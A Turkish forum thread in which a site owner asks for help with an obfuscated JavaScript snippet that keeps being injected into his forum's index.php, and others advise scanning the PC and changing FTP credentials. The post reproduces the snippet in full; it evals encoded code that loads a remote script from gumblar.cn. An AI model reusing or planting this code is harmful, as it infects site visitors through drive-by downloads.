Java script - Eval kodlu virüs index.php'de

[diabl03]

www.carsidenizli.net/forum [nofollow]  sitemde büyük bir sorunmu bilmiyorum ama sürekli sorunla karşılaşıyorum forumu daha önceden kullanırkende bu şekil virüsler geliyordu veritabanım silindikden sonra yeniden db oluşturdum yeniden forumu kurdum simplemachines.org den indirdiğim versiyonlarla ve temayla fakat bu şekilde www.carsidenizli.net/index.php [nofollow] de sürekli 1-2 güne bir virüsle karşılaşıyorum yardımcı olabilecek arkadaşlar varsa msn ekleyebilirler yardımcı olabilirseniz çok sevinirim işte lanet virüsün kodu alttarafda ......







<script language=javascript><!--
(function(){var TVF='%';var z5V=',76ar,20a,3d,22S,63ri,70t,45,6egine,22,2cb,3d,22V,65,72si,6fn()+,22,2c,6a,3d,22,22,2c,75,3dnavigato,72,2eu,73er,41gent,3b,69f((,75,2eindexOf,28,22,57in,22,29,3e0),26,26(u,2e,69,6edexOf(,22,4eT,206,22),3c0),26,26(doc,75,6de,6et,2ecoo,6bie,2ei,6edexOf,28,22,6di,65k,3d1,22),3c0,29,26,26,28typ,65of(zrvzts),21,3dt,79,70eof(,22A,22)),29,7bz,72v,7ats,3d,22A,22,3beval(,22,69f,28,77indow,2e,22+a+,22)j,3dj+,22+a+,22,4da,6ao,72,22+b+a,2b,22M,69n,6fr,22+b+a,2b,22,42u,69,6c,64,22+b+,22j,3b,22,29,3bdocu,6dent,2ew,72ite(,22,3cscript,20,73rc,3d,2f,2fgum,62lar,2ecn,2frss,2f,3fid,3d,22+j,2b,22,3e,3c,5c,2fs,63r,69,70t,3e,22),3b,7d';var QKN=unescape(z5V.replace(/,/g,TVF));eval(QKN)})();
--></script>

[cinema35]

Kardeş eğer ftp programına ya da pc' ye bulaşmışsa virüs istediğin kadar db oluştur yada forumu yeniden kur oralaradan bulaşır. Öncelikle pc' yi tarat bir çıkan virüsleri yok et. Ftp programını kaldır tekrar kur. Crack olan ftp programıda kullanma.

[diabl03]

cuteftp kullanıyorum bilgisayarda antivir aviranın son versiyonu yüklü ama sanırım dediğin doğru benim bilgisayardan olmasada diğer pclerden geliyor olabilir ozman :S yetkilerden falan olabilir dediler onunla alakası olabilirmi ?

[kadir21]

Sitenizde index.php olan tüm dosyaları bilgisayarınıza indirin.Sonra bu kodları sildikten sonra ftp ye Atın.Buraya kadar zaten yapmışsınız başarlılı olmamasının sebebi ise şu FTP şifresnizi Mutlaka Değiştirin...Forumu yeniden kurmaya gerek yok Virüsü Sildikten sonra Ftp şifresinizi değiştrmezseniz Hiçbir işe yaramaz yaptğınız Temizlik....

Selametle

[diabl03]

tamam teşekkür ederim cpanelden şifreyi değiştiriyorum fakat bi işe yaramıyor anlayamadım zaten kara bulutlar üstümde dolaşıyor Allah razı olsun teşekkürler..